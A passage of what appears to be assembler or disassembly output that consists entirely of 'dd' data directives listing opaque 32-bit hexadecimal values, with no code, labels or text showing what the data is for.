7338000Fh, 414DFBBFh, 3C005476h dd 88B3A58Eh, 1863146h, 4E092024h, 0F477B6A3h, 0F0BF9B55h dd 616A009Ch, 44FCEF1Ch, 0C0125A8h, 0D02A0923h, 0F561F8B8h dd 0CDE860h, 5A99DA0h, 33CC4154h, 0ED06EB0Eh, 835C4004h dd 1441540h, 479A4AD0h, 0C4C822AFh, 0C91FA888h, 0A407294h dd 162B156h, 64CE6F4Bh, 3140AEA0h, 48709FE6h, 32226704h dd 60F94F4Eh, 80A3BF1Ch, 7BAC0689h, 0DF005ECDh, 0B985D23h dd 1862212Ch, 1EFC9EA0h, 580094A3h, 388334BAh, 81A2C4h dd 0A5AE7A40h, 0D92310D8h, 0D6588B02h, 52C5DD4Ch, 2E42110Ch dd 87360B49h, 6018E131h, 19B23F0h, 86F6878h, 70176EC5h dd 36612AF9h, 58A38F61h, 0FC2C30DDh, 0B2F7C100h, 0F9FDD89Bh dd 0EC00F13h, 0FAE1949Ch, 6FD0002Fh, 76279A30h, 0AD07C771h dd 739DF15Bh, 7C266910h, 0BB87015Dh, 3D6C7481h, 2140E3AFh dd 880C5808h, 31757298h, 9E86075Ah, 8C3BC2DDh, 1B066E90h dd 19CC1FA0h, 583500A1h, 43F3F1EEh, 377C5AF6h, 1B416501h dd 0B5E8643Fh, 683C9F71h, 3AD06B00h, 0F291F6E3h, 0E5083Ah dd 8C9D4E3Eh, 0F8FEF719h, 18CF50B5h, 2370001Eh, 19316BA0h dd 0ED600F3Ah, 5886EA18h, 70970C08h, 0DB21AF0Bh, 0EED40C0h dd 0E29FF18Dh, 9DB605EEh, 5C66DE0h, 0C0B558h, 1AF94F30h dd 43004438h, 0A57C1A9h, 98ECF88Eh, 3E87889h, 54A537F2h dd 0E688E2E5h, 11016453h, 0A48FBEB4h, 20C85078h, 0FBEF2CEBh dd 1F050FB9h, 88571400h, 64286C17h, 5A00A0D3h, 4F7431D4h dd 27813C5h, 0E0CA4A5h, 2E0C643h, 0A600CBFAh, 0FE8A3AAh dd 1629FFBh, 98F6FB6h, 0F0AC7383h, 0FA0094E9h, 99B18410h dd 95C3EBh, 0BCEC1D4Ah, 0DE48B8B3h, 7094A00Eh, 0D252606Bh dd 3B07883Eh, 0BE852805h, 80970646h, 0C39203B3h, 0B6C46A00h dd 876B6112h, 0F5FC04A6h, 0F08BBF56h, 6F09972Ch, 80992854h dd 5BD8FE68h, 0F7AF091Ch, 49008438h, 0B3985335h, 0B1C66A38h dd 0B97F3842h, 0D5E3E0h, 4C64D4AFh, 0ACEE09Fh, 0FF00B094h dd 0F90F61E8h, 34660084h, 0EBAFB0B6h, 990021E7h, 7470D4DBh dd 3EB4EEA1h, 980FD56Ah, 79CAED9h, 0D079A3h, 50197D59h dd 0B6538C00h, 0B4C708B5h, 39C8121Bh, 70FF0B55h, 4E0C3872h dd 11FC414Bh, 9F8900D1h, 78A2E461h, 800738Fh, 35E150A6h dd 0F16626h, 0FE60B405h, 0FCE8D1B7h, 21B29300h, 2EC1B5AFh dd 0DA52061Eh, 611D72E7h, 0A7BC748h, 9C7ABE60h, 3F659D82h dd 8F0C17Ch, 0F6D44440h, 2ACE0052h, 658C57DBh, 70046D9h dd 2B22FB0Dh, 94DDA0h, 0FC5DE6EDh, 5344EEDFh, 46379B00h dd 5888660Bh, 26700A9h, 8D9D75CDh, 5F18EFF0h, 0FA30DBECh dd 60EE7805h, 0CF7311C1h, 1A055C4Dh, 259E0437h, 0A1C0F9C7h dd 600C6D65h, 680928DBh, 1300BB5Dh, 5EED4DF5h, 764761ADh dd 411072Bh, 400ABA30h, 0FDB22F2Dh, 930EDE07h, 22704DE5h dd 0DD5E64h, 23989ED9h, 0ED250351h, 0C2D758C6h, 33390089h dd 0FD65077Ch, 157A20EEh, 6D03A7F0h, 34D847C7h, 79F1B890h dd 5E94000Ah, 4F2CF0E2h, 0ED05E52Eh, 64A273E4h, 0CDD5C280h dd 676A3876h, 50F23903h, 71111409h, 0E800D2D6h, 59EFFB93h dd 0CEE2631Ch, 2D9A350Fh, 86DD804Fh, 62B610Fh, 5FAA12CBh dd 0B2F040E0h, 36BDA300h, 67BC317Ah, 390A00C4h, 0A2158C4Fh dd 8A3E6F0Ch, 0A90074B5h, 59BCCABDh, 0CBBEB2Eh, 0B3E5A14Ch dd 21C07008h, 575804A7h, 864B0C89h, 0CD195F21h, 0CBB9A06h dd 1C4729Bh, 0A2162B20h, 0CDD062EDh, 386EF09Ch, 18112C31h dd 38B25226h, 0B930DF80h, 0ECFB0859h, 34685323h, 5A01A000h dd 0E1692C9h, 66D38790h, 0DAE95320h, 6160BCA8h, 28516A29h dd 21F007A3h, 76A17214h, 0DC46F116h, 0A59BA13h, 44380B74h dd 2405E76h, 429B785Ah, 0C8DD615Ch, 806A9361h, 0C9E94E20h dd 3F3BA5Ah, 0E1BEE2A6h, 88034236h, 0F1A2A965h, 109E8Ah dd 969E68ACh, 0C8C7273Fh, 0EA9B300h, 923CC1ECh, 0BE770081h dd 0F706F93Bh, 0AA05457Ah, 9675CB71h, 0A29DD880h, 13330027h dd 0E56B3287h, 2000E10Ch, 5AA9C06Fh, 3EE4C798h, 0AA398675h dd 35BB4280h, 542DD277h, 71D3026h, 83CFE100h, 76117598h dd 464C0325h, 9F92C64Fh, 0EB96EAF0h, 33357C0Bh, 0CE0507F8h dd 23094F7h, 8F6946h, 57D3CF28h, 1A501314h, 0A5EF4E00h dd 6F9EAB42h, 1D887F7Ah, 803C068Bh, 9C190DDFh, 551F3DF2h dd 8E5CC6D8h, 14331C00h, 242E1BE8h, 3920261h, 65F68159h dd 3D993888h, 32F53A00h, 0E2E84E8Bh, 1DAA902Ch, 0C0E3D32Bh dd 0F2612D9Bh, 0DE00871Bh, 4690ADD0h, 0F8EF2EABh, 27AE181Dh dd 601020A2h, 19133819h, 8FC4CE31h, 0E8805F95h, 9FA80E5Dh dd 211DACAEh, 38FF66Ch, 67C8C0D3h, 5100BCFEh, 1B10C6EEh dd 0CFF24697h, 5D0384B9h, 1100CE13h, 0C0FA9552h, 1BD3B765h dd 8EF7434h, 2B0021D6h, 0D793FB44h, 3A19901h, 0AA480D6Dh dd 0B2D0DC88h, 74309E13h, 18207078h, 0D0C4047h, 0A0284530h dd 0E92F9DDh, 6C902F53h, 38567Fh, 6A2EAD11h, 0CE093E61h dd 8391D143h, 3100A68h, 76BBF278h, 1A8832F4h, 9A1DCE55h dd 41B7F73h, 905EF321h, 3DB3E33Fh, 37996D70h, 0D8808842h dd 0B0A3B41Bh, 0F695F01Ch, 91010Fh, 6F92DB67h, 0A0BB0035h dd 123F9DA2h, 0CE723C13h, 5074A500h, 1875560Bh, 0C6D5013Eh dd 2FDE8EFh, 0F83CE023h, 464F7200h, 5E0E936Fh, 63600075h dd 30A7964Eh, 27F43ED9h, 0AF3FCEE2h, 4D0C006Fh, 80C52C9Eh dd 4E9D0009h, 0C7755F59h, 0CA0357E1h, 503E9A95h, 0D014E07Fh dd 690A03ACh, 7C4FE93Dh, 0F09380A0h, 0C68B1700h, 16188D89h dd 6D450055h, 0CD21FE48h, 0CB07FFF5h, 0E0939A92h, 58B97830h dd 34FB001Ch, 0C4846C53h, 0A090F25Ch, 5B9AC21Eh, 7242E585h dd 0FB055EC0h, 0F8BC0008h, 0C7597B9Eh, 5A26814Ah, 0F5000E40h dd 28B475EFh, 42000A8h, 32AC19D8h, 2D034EDCh, 0F0096673h dd 0B518180Ah, 5B2C5872h, 92B47B18h, 1983F11h, 229D6A41h dd 0F0EFE131h, 8500BF51h, 78380BF3h, 0E96A583h, 4497A0D0h dd 8193005Fh, 94A630A1h, 6E8CF014h, 0FE2010Ch, 47B47CC1h dd 0C05EC99Dh, 0E7F5BDDh, 0C73B48D3h, 0C209818Ch, 0EC547471h dd 0AB605171h, 96B5007Fh, 7544344Fh, 81743190h, 6054AA1Ch dd 0A3C7AC9Fh, 0DFF7F3ABh, 46B633C0h, 9FFE0077h, 220E7682h dd 8C74BE51h, 0C07A47Ch, 63CD2898h, 2B2FC900h, 1904005Ah dd 307E4D5Eh, 33F0590Dh, 605504A5h, 4AFA70E2h, 0ED1D1907h dd 0FBD02E64h, 0ECD060h, 0DFD1B88Fh, 371461BAh, 2FB3FA0Fh dd 0F7C10DEh, 6224AE3h, 8A174880h, 0BB00ACEDh, 2346B919h dd 3E49E51Ah, 74CB12h, 70597416h, 56FB07B8h, 0FA389C1Fh dd 0B52A1900h, 0F0D021BCh, 520F072h, 143EB88Dh, 0B25C28FEh dd 646C3A24h, 0A2A7E100h, 71C95E44h, 3792077Dh, 406DE61Bh dd 0B799B24Ch, 0E1458B06h dd 0EC29BE0Bh, 47D887Fh, 0EA08A589h, 84D5A144h, 2290BC22h dd 1422AA71h, 74394291h, 105D12E9h, 0D044E3Bh, 7EADC973h dd 45E1C40h, 6922B231h, 0A82722B5h, 0DF119142h, 8352142h dd 5903AF4h, 4841B284h, 34914201h, 0D1216924h, 112D1258h dd 5D24CE1Eh, 12630221h, 41A31039h, 8717C189h, 7197B068h dd 9003E175h, 0F9B56C43h, 0F3E2B9E7h, 0E8C4160h, 0F7D811FAh dd 0CFAB6AC0h, 3379C4BEh, 0F4015128h, 3555000h, 933EFCB1h dd 0D5BF00DEh, 0C77C7A17h, 81B80984h, 8BF0121Fh, 87C8690Bh dd 9F8033E1h, 1F9532Dh, 0B9E73C6Fh, 85046A5Eh, 0D5C27B40h dd 0FA825FC0h, 5F3B2E2Fh, 0F76603D9h, 99C01261h, 31044532h dd 0B71142C7h, 0EFE9BBC0h, 124F00B3h, 0DFB825D0h, 0E6007B7Dh dd 7890C695h, 1E8F39D2h, 80D0DB17h, 91621E34h, 0FB00B931h dd 16D7FC75h, 0B9822FFh, 559FB1D5h, 0BDFD4180h, 470E771Bh dd 40418A9Dh, 8127CEFCh, 0AAC50CA4h, 0FE60E490h, 68088C09h dd 0DE742016h, 0FE469EBBh, 0DAF00081h, 110A87C3h, 5A308347h dd 0F2D62675h, 379077Ah, 0A024EA2Ch, 0FB3DD14h, 0B9F10124h dd 803DBE1Fh, 0DEA57E3Dh, 717BFFh, 0FC34B033h, 586BA93h dd 0A800B0D6h, 9F03EB81h, 74E089h, 0EA5A8B08h, 0D1F4D41h dd 545C8C00h, 9D20335Fh, 0C19950B6h, 568F1E03h, 0A61EC09Ah dd 8F553A5h, 57E8022Eh, 22B7B500h, 77894Ch, 0E16716F8h dd 96A49AB0h, 0D4573205h, 0CBB5D82h, 95F96C8Dh, 7F15A819h dd 0FAC0B670h, 0F8D8073Bh, 0E0AF2442h, 9B4EEBA0h, 0F0CA9100h dd 34DD2EC2h, 188F00ADh, 3878A8ACh, 1C07133Dh, 0B7F9C31Eh dd 4FCEE430h, 983A009Ch, 0E669A5E0h, 0CA0768A2h, 0A1220A20h dd 8114F690h, 0B4F8BEh, 0C6A4FA03h, 466EEE96h, 23AD5800h dd 10E741D2h, 0AFF1E73h, 12E580B4h, 0FA8630AFh, 9BF39900h dd 0BA4E6E3Bh, 6FC800D7h, 11CE3E71h, 0F007721h, 0BC54C5F8h dd 0C64ACh, 696B68E9h, 0B90941F2h, 52003F78h, 63A9CD3Ch dd 6F198Eh, 462273Bh, 349C9A4Ch, 0F3D9AE00h, 0E86C130Eh dd 7DE440h, 1EFD55D6h, 2CC44B9Fh, 5AA5D900h, 0AD2ED35Dh dd 66BF006Fh, 31BECAFCh, 3000EE33h, 34F3F787h, 24D9C369h dd 16BAF4h, 0E0C26E51h, 8677B1DDh, 90359800h, 96D67FECh dd 6DEE424h, 3F7B67A5h, 27001891h, 93C8B2D4h, 55690B8h dd 0F9112BBCh, 6FD2C05Dh, 0A490754h, 0FA0800C8h, 754113ECh dd 5843EF3h, 0ADD38C00h, 534CC41Ah, 0A737BD00h, 0D4D96C32h dd 97FCEDE4h, 46B003B3h, 0D5819F1Dh, 8C9B44EBh, 0D300EFA4h dd 0A1C63658h, 6C070047h, 0E690CD2Fh, 0D4FFF85Bh, 2E0C23E7h dd 263BDD49h, 1E980EEDh, 0D56F78B5h, 0C8D48C00h, 96123707h dd 404804E0h, 0B0580E4Eh, 61BB28C0h, 0EC1D9EFAh, 0F7431D75h dd 0A05D6463h, 0DFC8F1h, 68A5DBF2h, 539FDD15h, 5C6A9001h dd 0E24BD8FDh, 623BF8h, 22F10518h, 0B8738ED5h, 0BA532A0Fh dd 8A0EDFF0h, 0C74B0EB4h, 0C6F0D3D4h, 7BB2E5h, 0EA220147h dd 1BF08371h, 0A02CF5EAh, 4E0076C8h, 5E5C17B0h, 2435E27Ch dd 12CD642h, 787FF45Dh, 0E1283025h, 0D0CDFB18h, 0E02B6Ch dd 0AFF6482Ah, 86234206h, 3969CE00h, 0CAAEE2BBh, 59BF0EF2h dd 0A3C335C9h, 65F072A1h, 0FF00A73Ch, 0AF4FEBB4h, 0BA3AAAh dd 2B60A55h, 37166210h, 78C44000h, 0DF858AF0h, 44ED0057h dd 0F6992793h, 7503AFDBh, 2AAEA4BBh, 582A789Bh, 9100DC20h dd 7B29EAD9h, 0B3005C05h, 0AFC82557h, 453623h, 0D3E2729Ah dd 5D39A1A8h, 30018400h, 0D859F869h, 0D8988Bh, 48AE95CDh dd 0B0DAA8C8h, 0E7C9741Dh, 3B19FD00h, 76F51C5h, 2B71CD06h dd 0CC1AF129h, 34F8E839h, 777B3000h, 0BD6120F6h, 0A2E701CFh dd 602A4513h, 887DFCF5h, 6549BF00h, 0BA6A2DC4h, 8EAA00B4h dd 0BC7A216Fh, 4B315B3Eh, 0ED3938CCh, 4287C4h, 1508F2C1h dd 0A60DEEACh, 0B4769C00h, 3F63F98Fh, 58390007h, 5B1797D8h dd 0D904E771h, 0FF264449h, 80DF3382h, 9B070BDCh, 5765063Ch dd 1910AECEh, 0E500037Ah, 0A57C2EEBh, 1FF8870Dh, 3F9FC51h dd 0AE578309h, 7CC0EFB5h, 0B01DC57Eh, 0BEFF1F0Eh, 1CCED32Fh dd 90C003CCh, 5A908D24h, 6E00ED04h, 3494CB4Bh, 30A91975h dd 5552AB56h, 83009EFFh, 0BE5115DDh, 4CE07CDh, 4109BD0Eh dd 58C0AA14h, 90361D9h, 8334B9A9h, 98A88410h, 39DE4800h dd 2981DF97h, 19007C7h, 507238DBh, 2F790FD9h, 0A409A771h dd 0F189C43h, 126C0055h, 9EC0B2h, 17AE3C33h, 0E21D51D1h dd 2AD97E00h, 0B9DAE084h, 0ABC900A4h, 0B50EE628h, 0D200E144h dd 0DE3A0832h, 1E36AF7Ch, 81148497h, 0F2732286h, 0B276E0ACh dd 98913Fh, 39CE4EA3h, 0B757E3h, 6861A2E2h, 3B8F0137h dd 2327900Bh, 63ED0B5h, 703DC72Bh, 413CA0A8h, 0C3739F3Ch dd 0B0204280h, 30C5F1B5h, 35183BB3h, 0FC008727h, 59997D74h dd 0C3F98F8h, 0ECCCC811h, 57007548h, 0B536A95Ah, 1563824h dd 4ABF19DCh, 0C01D76E1h, 4007CCE2h, 108F17B4h, 0CADC8029h dd 2393EBh, 29ADF70Ch, 1D91FEA2h, 0AF8C7E00h, 0B0FFA528h dd 7C07822h, 0F2386411h, 2A07F17h, 0DFD3671Ah, 0B0BA7800h dd 0E6F0B3F9h, 0FAE7407Dh, 0B076C82Eh, 5B9FA900h, 78A709Ah dd 3A244EE2h, 9029B785h, 94E8C651h, 5EBE2100h, 45C8B698h dd 14263FDAh, 0FFF0CC80h, 0BC043D40h, 5BEE9F00h, 72E8F1E1h dd 2D9900BFh, 0F4BCC28h, 2200DF2Ch, 0B49F700Eh, 5C9B2621h dd 560048FAh, 0EB74DE63h, 2000BD8Bh, 0FFFBB7C3h, 0F52D25h dd 85E7986Bh, 0F3116EAh, 0A622EF05h, 30907503h, 7FF0C2F7h dd 9E3017Ch, 0B3C41BD7h, 0FC7AD0F1h, 3200F092h, 8EE24CB8h dd 7ADBA42Eh, 7C96016Ch, 0D5B34220h, 0E2152021h, 0D54820Eh dd 5CE1C004h, 7385DA98h, 3B6E0030h, 7E1E05EBh, 9700E728h dd 0A6FFF9EAh, 60C4CB51h, 0B36790A3h, 1200F6C6h, 0C543EBF2h dd 4101D28h, 728684FCh, 0DE108013h, 0DCE1A9C1h, 5F008975h dd 26FEEAA7h, 1D8E1FAAh, 40E30116h, 0F7E75D2Ah, 8B002F24h dd 0C74D490h, 0DB4448h, 6B679812h, 5F26B6CBh, 0B400C274h dd 0F2B9294Eh, 1E931902h, 0C0EB6C94h, 92DC8F11h, 2A00FA79h dd 800DCBD4h, 2FF60Bh, 0B9A4E4C9h, 3C5369CDh, 4250A00h dd 0D1D66399h, 0F7C900B1h, 115AFA20h, 58018968h, 3229F938h dd 3986AA47h, 2999C795h, 30E31800h, 4984D45Eh, 0FCD2FCF1h dd 64BA488Bh, 474EAE00h, 2972B33Dh, 0C400034Ah, 2E67AD4Fh dd 33A00002h, 5817C444h, 2C7B5068h, 64541600h, 0A7631E56h dd 6E7F303Ah, 731A6718h, 6BAA0926h, 0A899600h, 8BF011h dd 19A9131Bh, 0A1FD7E65h, 78ED9426h, 7B906900h, 1D34B712h dd 3B1787Ah, 89F5140Eh, 0FDC4D0C7h, 37002D0Ch, 35CD7DFBh dd 0D16823h, 9C792BE4h, 0C3449840h, 89BD400h, 0DAFA941Fh dd 0FFD503BFh, 0D7F8B4B2h, 6B4E4BE8h, 0DEFE3301h, 0D2BD10A6h dd 4D82F440h, 0F5430009h, 14967AFAh, 7C00B8D3h, 0F437D9AAh dd 0E1E6F48h, 40D152C4h, 56804BABh, 0FBB2A0B3h, 7BBD2A00h dd 276CDEEh, 2C5B1CC8h, 59670042h, 0FB85D716h, 0CABB400h dd 8DFF492Fh, 979E0A3Bh, 12A013CBh, 6B3C0137h, 70F4F6F3h dd 8C002364h, 0BFEF1921h, 0EBCC67h, 2C8E8AEEh, 0D69017A5h dd 92361400h, 5AAFE0DDh, 52BF0070h, 5C65313h, 47006FD9h dd 15726B57h, 1CE21FBEh dd 414FB349h, 0D8D94290h, 84422058h, 0EC2C800Eh, 39A52040h dd 71AA31B6h, 0DCCF3F5Dh, 0B5811CBFh, 82021D9Bh, 50366004h dd 97E26750h, 1F20621Ch, 339968C0h, 3056192h, 45924A4h dd 0CAE8A801h, 0A01DAC31h, 740003DDh, 0A221A72Ch, 0F7B838h dd 0B3D1054Bh, 6BAA3525h, 2793000h, 416401F3h, 10CE00E0h dd 3CF2C392h, 0C650D2FEh, 0BA0957E8h, 0A0E63BBCh, 0BD5F3530h dd 3FF270C0h, 0C92CCE3Eh, 3FCA029Bh, 306044FFh, 0F5019F0Dh dd 0F356E914h, 0B9D809E4h, 2A9A00FDh, 0DE2E3927h, 4800FAF2h dd 4B68B870h, 18BBC0D0h, 30DAB6CAh, 670061E1h, 7AE81C3Bh dd 2922C2Eh, 0D952A3Eh, 9CE07CD9h, 0C70052B5h, 40C11635h dd 0C8FB8Dh, 0B72FD1D4h, 0E056863Eh, 7D70D500h, 14645EAAh dd 30AE3A39h, 6503D6BCh, 92A90807h, 0A65D1000h, 0EDDF2B9Ah dd 3AD9000Fh, 46C9EB3Eh, 9D7FD193h, 96A95600h, 0E64DCD99h dd 377B0070h, 0CDD7E0Fh, 6700C006h, 0DE96294Fh, 0F81B8A55h dd 24A60044h, 60EE9A0h, 4EF8112Ah, 6FB89700h, 4AC0E2FAh dd 92040057h, 0AEC89F4Ch, 1B001240h, 0C99E4D91h, 3CF08EAFh dd 0A800C6F1h, 0B85C1A27h, 4A08D5D7h, 2886B3h, 4FCFF476h dd 8300629Bh, 2F3FCDD2h, 0B86B99AAh, 6D7C0023h, 21EDD842h dd 0A17FD6E0h, 0D4C7DB00h, 33305878h, 43A8003Ah, 1116B593h dd 5200F207h, 0E0FF59ECh, 3CE4821h, 9488A52Bh, 4800B501h dd 1D7A809Fh, 3A471A3h, 3AC72F56h, 0BCF1F70Eh, 0CDD4C8B1h dd 0DA1D4773h, 4F80587Ah, 0F562E63Fh, 0B67D00F4h, 53F135FEh dd 150122B3h, 0C6AD2B1Fh, 87CDBEB8h, 944059EDh, 0E2D864h dd 535D4FA3h, 9ECA79FAh, 0E0896228h, 53B0B00h, 388A86Bh dd 9F9A12A0h, 0CA8F3h, 134E2024h, 7A212226h, 0DD1D009Eh dd 9CA56651h, 550315B1h, 8B5A7ECAh, 1C20AF44h, 3F881ACh dd 4ABEF157h, 0D0003DB9h, 0B075263Fh, 61FB3DAh, 859DF3C0h dd 145C369Bh, 49CC0399h, 0D0340D20h, 0AB0AEh, 901CD481h dd 0CDBFEA8Ch, 3F108E60h, 48D9F4h, 0E2D2742Fh, 5D96C6A1h dd 885CBF00h, 3C907CB1h, 0B36F14DDh, 74009457h, 9C293F04h dd 15611BC3h, 7BD90790h, 0E0BF8170h, 338D698h, 341AEB36h dd 29C06090h, 0E83EBB00h, 164C59B9h, 96350F63h, 19C078B3h dd 6CAD2DD6h, 0C3E8100h, 2F86C2EBh, 0F64412ACh, 32650037h dd 78FAF0Dh, 0CB963C1Fh, 8790BC0h, 0F9482D2Ah, 0D98820h dd 89CEE605h, 0BD387578h, 2802AD00h, 15A1D59Ch, 0D20C1E85h dd 0F25F40DAh, 6D39DFB9h, 8049143Ch, 0A74280E8h, 76A20F1Bh dd 0B1F86Ah, 18952973h, 2C86F53h, 0A008610Ch, 0C1D707Ah dd 0A2397CC6h, 0DF00BF60h, 9EC0CBD0h, 2B21AE6h, 0F963C93Ah dd 0E8407D66h, 39004EB8h, 0EFA1B15Ch, 3C975A45h, 3A732C8Ch dd 2280A338h, 7D1999A8h, 950711FBh, 419FF63Bh, 436EB310h dd 0C40C0E2Ah, 23806254h, 4B9C3866h, 0F4C0D903h, 0C094FF2Eh dd 1FD689B9h, 0C04F05C4h, 90C32F2Dh, 0F8FCB6B0h, 0E68DDD00h dd 0F38FE8E7h, 8CD90036h, 842CF0C1h, 0F00EBA2h, 6E0A9425h dd 0E8F9A9E0h, 0BEDA50F4h, 0EA6600AEh, 6C7A3659h, 0CF1F1293h dd 2D01FD1Ch, 0BC1AACF2h, 0C9E60h, 31077DDCh, 8A54632Eh dd 6A9EAA00h, 0B213D406h, 912F00AEh, 0FFAC4F2Ch, 0C60758AFh dd 65E90EFAh, 0D83CF690h, 0EB7401B7h, 6D687B08h, 0E3B043DEh dd 0D3FB67C0h, 531C2D00h, 609D0CF8h, 8AAA03E5h, 447DBDA8h dd 85D955E1h, 0A03D1F30h, 9411D018h, 227D0068h, 5F297799h dd 1700DCA4h, 32CC8501h, 1434A85Eh, 0D5AE6733h, 4065A01Ch dd 6D365175h, 3C0059B5h, 0A3AABCEh, 0A42A4Eh, 432E73A5h dd 0BD56A3EEh, 88B05A1Fh, 76008428h, 62B6C723h, 6E27EFh dd 1124635Eh, 38C3E37Ah, 3B0760F4h, 0B249E6ADh, 0A86CA450h dd 8A1F00A0h, 0F20102A6h, 0E0584809h, 986000E4h, 0F6E6677Eh dd 0E7651895h, 0AF97213Ch, 0D4A71A03h, 0C0FF6F86h, 3C877A8Bh dd 60C83F4h, 3028F3F9h, 0A71B2700h, 9F63A2A8h, 7CD80358h dd 18C72194h, 9B3819F8h, 56E25400h, 0A5823913h, 90832DC0h dd 6100F2F4h, 3D253240h, 0BE672EA1h, 298E3DDAh, 39E0B356h dd 0B23B6A80h, 0D51C5800h, 0A44172DDh, 40B900D7h, 0C8495163h dd 9600BA73h, 0CC592A11h, 0E8235A1Ah, 480800D2h, 4AA4ED61h dd 673D966Ah, 117480C9h, 623CC64Fh, 0A62B042Ah, 0C07D17B1h dd 0A1BDE4DCh, 0C09729F8h, 0B89008E5h, 18D1E24Bh, 495CC250h dd 13393C6Eh, 5D18001Eh, 0BC43B5CEh, 45B300A6h, 9B62820h dd 23009111h, 0D1F4E37Bh, 0B086D9C3h, 7D18001Ch, 0A3684A54h dd 0B00F262h, 108EC8B2h, 1C94F336h, 0C03DC0ECh, 0B30F2A1Dh dd 9D3CD0CAh, 92B60102h, 6088E4F4h, 0B01860h, 8629DB56h dd 719A6843h, 44AF0E00h, 0FAFD36D1h, 70CEE18h, 0A6DD3F66h dd 0A0D34109h, 1BFE4060h, 82073120h, 0DE83CDEh, 0C4372F60h dd 457347h, 7EB7FAC8h, 0F882F063h, 0C077412Eh, 53FFC100h dd 2CA070EFh, 3F23DC73h, 5BC23081h, 60AF25CAh, 0C7207408h dd 0BF5E6FAh, 6EBCF6B8h, 3E3B6400h, 4D175E09h, 180221DDh dd 0E128EA07h, 4FC51058h, 0B2377E0h, 69182B88h, 30B94281h dd 5AF0935Bh, 7AA32C00h, 37102DCh, 87B427D1h, 96C8DDA5h dd 740BD783h, 0D65D98h, 9A44DBDCh, 0E2C51D56h, 9E4B841Eh dd 0C04C9025h, 0FE0FE089h, 0A062D7CCh, 1241E65Ch, 60359895h dd 5F7840D5h, 350EC45Eh, 24C21DFDh, 5E807285h, 0AB0AFBF6h dd 0BEA8E194h, 0E03DD464h, 0F45E00BBh, 93BFB419h, 0E8C2121Dh dd 6071FB76h, 711641CCh, 0B1C101E1h, 73ADA092h, 2E68C8A4h dd 0D88DCA00h, 3B2615CDh, 7B8A6h, 0B2A423F7h, 22D1A580h dd 71D8E05h, 0E18026F0h, 414E291h, 5236750Ah, 2BB4C035h dd 84001766h, 5818F2B1h, 7930D6Eh, 979DA88Eh, 9E905092h dd 0B438BF79h, 220F75ADh, 7EB9B1h, 0DCEC2945h, 0A89F4D6Eh dd 48D30581h, 0A2E0DCB6h, 0BDC4600h, 0F3FACBF8h, 873C0B33h dd 18002186h, 6710EF71h, 43AE4B13h, 1A1DE407h, 6FE564A0h dd 0A570002Ah, 0D8BB9D28h, 70495DEh, 971E65E7h, 3C3270C0h dd 671AB8DCh, 0CF10A1h, 31921F12h, 6291F50Fh, 4B0A4041h dd 49EF626h, 750DC96Dh, 0A37C88BBh, 242C0F00h, 0EC12C459h dd 6310521h, 80099F5Ch, 30FA292Ch, 0D411EF00h, 0AD3D9882h dd 4DD80171h, 0FEDF88E0h, 0B8D440EBh, 641C450Dh, 9F980524h dd 30A3CEB0h, 53481CC1h, 77006618h, 0D55BA4EBh, 343D29h dd 0BC54EC05h, 617F0F25h, 0A9FBC71Ch, 8388EC5h, 1DD08BC0h dd 4B763B92h, 0A1EDC300h, 0EAAE69FBh, 8AC7B800h, 781FE56Ch dd 43793Bh, 70F6D57Dh, 55B9A1E8h, 0DA5BA700h, 0FFB1F373h dd 1FF71E8Fh, 0C55AC00Ch, 36E81784h, 46225100h, 9A3B2A01h dd 0ECDE00ABh, 0EB49F69h, 26002B98h, 0F5ADF2CFh, 384921h dd 4D4E3D5Ah, 8C89B688h, 2C49A00h, 0B83CC76Ah, 586E28ADh dd 3A7E7A88h, 90507184h, 1E8129Bh, 0E51C8087h, 0DD702969h dd 9BBA11C0h, 45720Fh, 352E015Fh, 1AA771D2h, 161FD714h dd 5E6D03CCh, 0F128E850h, 12C8C497h, 3FE678F0h, 0F6A5DBh dd 4C59220h, 0B9F446DFh, 0E1952F03h, 800BA622h, 3D441A1Ch dd 1580D393h, 0E96BDD4Fh, 9D00CA6Dh, 91FD42E1h, 30023A92h dd 0B4E03B2Eh, 0A5006014h, 0BC9B2BDBh, 59A6CDh, 19153C3Dh dd 6781E29h, 7DB36D00h dd 5624BF7Ch, 596E0163h, 826FA197h, 8D7870ECh, 3AF94A00h dd 623E8B77h, 0D65014Dh, 9B0528D1h, 234CCCD9h, 450A7209h dd 7ECA016Ch, 0D880061Bh, 3ADAAA3Bh, 9615C264h, 30A86965h dd 0E36D6070h, 41350EBEh, 8B80CADCh, 7CCBB87Dh, 51CE631Fh dd 58064EC0h, 364D836h, 1B9A5620h, 0E02622F5h, 0BF002DD3h dd 0FB3855CCh, 16B4B86h, 3042021Ch, 5385FCE7h, 0BF130400h dd 0B822BD59h, 338A0F68h, 93C2C4A7h, 0E440805Dh, 1209AC05h dd 80907B28h, 25110B6Ch, 7D075C3h, 66E45214h, 0D712B1A4h dd 2F06FCADh, 2498BCEAh, 0FD7D4900h, 8CAAC0EFh, 0F99E1545h dd 0BC1FA0CDh, 402F12B0h, 9AE94414h, 11013643h, 45DD994Ah dd 0EA30A216h, 8AF70086h, 98AA2C93h, 91090AF6h, 0C0FFA6A7h dd 1FDBCD48h, 25B2299h, 0C6665F20h, 6E4BC468h, 9CA09600h dd 54E95E2h, 973E7h, 4773B80Bh, 1A9E6A7Dh, 6C2DDB24h, 0EBD15A03h dd 24D6A1E6h, 6FCAFC4h, 0FF0B61D0h, 9200A82Eh, 139CB083h dd 6AE4ADAh, 0DE2F0F6Ah, 7F00C93Ah, 620D0BC8h, 90405634h dd 0DE2C187Ch, 0B4B9213Bh, 9B371800h, 336EE40Ah, 1CFE411h dd 9F8CBEEDh, 64F5E0ACh, 4C09933Ch, 0C0AFE9B2h, 7F3FA90Ch dd 0B9160E81h, 0A4941C06h, 402CBB15h, 3F64990Eh, 221D8075h dd 0A0D4C757h, 2604D0ACh, 4A00211Eh, 2CF1F58Bh, 0B24D3A6Ch dd 75BF1F60h, 0BB80C560h, 0EB008064h, 100EE06Fh, 0A0D59502h dd 4EB9365Dh, 7548002Ah, 34D15218h, 0A5015BBCh, 0A371DA74h dd 0FC28D2F6h, 0F5183081h, 0A2E1E8D8h, 50A38500h, 1BF05D86h dd 0DCFD00D7h, 0FCE2A529h, 351F8CBCh, 0A1806EF3h, 7CDB8327h dd 0E50400C4h, 0CD0D3163h, 0DDFA3F1Eh, 0EF119900h, 0CAF989D8h dd 489C00ABh, 83C1D0DEh, 5500ACF4h, 85E2FBC0h, 1D7062h dd 73661659h, 4C8908F7h, 61B1DC00h, 0BB1E8607h, 68D4005Ch dd 919AC29h, 0C4794431h, 0FBF4E104h, 28E0F28Eh, 